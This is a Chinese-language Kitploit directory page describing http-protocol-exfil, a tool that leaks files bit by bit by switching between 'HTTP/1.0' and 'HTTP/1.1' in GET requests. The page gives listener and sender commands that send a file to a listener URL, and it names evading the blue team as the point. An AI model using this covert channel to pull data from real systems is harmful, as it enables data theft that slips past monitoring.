Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
http-protocol-exfil — 使用HTTP协议版本渗出文件("HTTP/1.0" 表示 0,"HTTP/1.1" 表示 1) | Kitploit
工具/GitHubGitHub/ricardojoserf/http-protocol-exfil
数据泄露网络安全
GitHubricardojoserf/http-protocol-exfil

http-protocol-exfil

使用HTTP协议版本渗出文件("HTTP/1.0" 表示 0,"HTTP/1.1" 表示 1)

查看仓库
24224年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HTTP协议版本外传工具

使用HTTP协议版本逐位发送文件(“HTTP/1.0”表示0,“HTTP/1.1”表示1)。它使用GET请求,因此蓝队只会看到发往你IP地址的请求。但发送较大文件需要很长时间,例如发送200 KB需要1小时,并且请求数量会非常高(文件字节数的8倍)。

memillo

创建监听器

运行监听器使用listener.py,带一个可选参数:监听端口。

root@kitploit:~
python3 listener.py [PORT]

示例:

root@kitploit:~
python3 listener.py 8080

发送文件

发送文件使用sender.py,带两个必选参数:文件路径和监听器URL;以及一个可选参数:远程创建的文件名(如果不使用,则使用输入文件的名称)。

root@kitploit:~
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

示例:

root@kitploit:~
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

示例

首先发送文件:

image1

如果变量debug设置为True(默认情况下),你可以在监听器日志消息中看到二进制值:

image2

新建的文件会包含输入文件的内容:

image3


动机

我想(我不确定)我在Twitter上看到有人说他使用这种方法外传数据,我觉得这个想法不错,如果你是那个人,请告诉我。

下载工具